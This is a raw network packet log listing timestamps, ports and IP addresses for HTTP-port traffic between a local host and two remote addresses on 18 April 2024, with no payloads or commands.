Apr 18, 2024 23:40:03.611943960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611943960 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.611946106 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.611988068 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612005949 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612026930 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612040997 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612065077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612065077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612065077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612065077 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612077951 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612096071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612138987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612176895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612190008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612190008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612200022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612214088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612298965 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612303972 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612318039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612337112 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612354994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612373114 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612409115 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612412930 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612445116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612478018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612478018 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612481117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612518072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612524986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612524986 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612554073 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612590075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612591982 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612607956 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612627029 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.612654924 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.612701893 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.625861883 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.625962019 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.626189947 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.860831022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.860877991 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.860888004 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.860915899 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.860925913 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.860954046 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.860980034 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.860991955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.860996008 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861032963 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861036062 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861069918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861093044 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861105919 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861160994 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861161947 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861166000 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861202002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861238956 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861274958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861278057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861278057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861278057 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861310959 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861346960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861382961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861382961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861382961 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861383915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861421108 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861455917 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861473083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861473083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861473083 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861496925 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861532927 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861567974 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861577988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861577988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861577988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861603022 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861620903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861639023 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861675024 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861711025 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861736059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861736059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861736059 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861747980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861783981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861802101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861802101 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861819983 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861856937 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861860991 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861885071 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.861891985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861927986 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861963987 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.861999035 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862004995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862004995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862004995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862004995 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862034082 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862062931 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862070084 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862081051 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862104893 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862140894 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862175941 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862210989 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862220049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862220049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862220049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862220049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862246990 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862282038 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862288952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862288952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862318993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862354994 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862390995 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862394094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862394094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862394094 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862426996 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862462044 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862483025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862483025 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862497091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862523079 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862533092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862569094 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862607002 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862643003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862646103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862646103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862646103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862646103 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862679005 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862683058 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862715960 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862751007 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862761974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862761974 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862786055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862797022 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862821102 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862857103 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862881899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862881899 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862891912 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862901926 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862927914 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862963915 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.862965107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862965107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.862999916 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863019943 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863035917 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863071918 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863081932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863081932 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863112926 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863121033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863152981 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863188028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863208055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863208055 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863224030 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863249063 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863260031 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863271952 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863295078 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863318920 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863331079 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863353014 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863383055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863385916 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863420010 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863455057 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863473892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863473892 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863490105 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863511086 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863545895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863583088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863586903 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863617897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863653898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863688946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863697052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863697052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863697052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863697052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863723993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:03.863800049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.863800049 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:03.876554966 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.876729012 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.876799107 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.876853943 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.876892090 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.876908064 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.876929045 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.876957893 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.876966953 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.876982927 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.877003908 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.877017975 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.877053022 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.877042055 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.877098083 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.877114058 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.877142906 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.877177954 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.877180099 CEST	80	49739	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:03.877208948 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:03.877227068 CEST	49739	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:04.112044096 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112087011 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112138033 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112142086 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112165928 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112195969 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112210989 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112234116 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112270117 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112282038 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112282038 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112307072 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112323046 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112355947 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112385988 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112396955 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112426996 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112432957 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112468958 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112468958 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112468958 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112521887 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112531900 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112552881 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112562895 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112574100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112574100 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112598896 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112627983 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112637043 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112672091 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112708092 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112714052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112714052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112714052 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112744093 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112754107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112781048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112818003 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112838984 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112865925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112865925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112865925 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112874985 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112910032 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112915039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112915039 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112950087 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112981081 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.112986088 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.112994909 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113020897 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113056898 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113071918 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113071918 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113091946 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113095999 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113126993 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113167048 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113168955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113168955 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113202095 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113240004 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113246918 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113246918 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113275051 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113311052 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113346100 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113351107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113351107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113351107 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113383055 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113419056 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113421917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113421917 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113464117 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113466978 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113502026 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113522053 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113538027 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113574028 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113574982 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113574982 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113609076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113643885 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113646030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113646030 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113678932 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113694906 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113718033 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113733053 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113765001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113765001 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113769054 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113814116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113814116 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113820076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113856077 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113889933 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113889933 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113889933 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113924980 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113959074 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.113986015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113986015 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.113995075 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114007950 CEST	49738	80	192.168.2.4	193.233.132.56
Apr 18, 2024 23:40:04.114031076 CEST	80	49738	193.233.132.56	192.168.2.4
Apr 18, 2024 23:40:04.114052057 CEST	49738	80	192.168.2.4	193.233.132.56
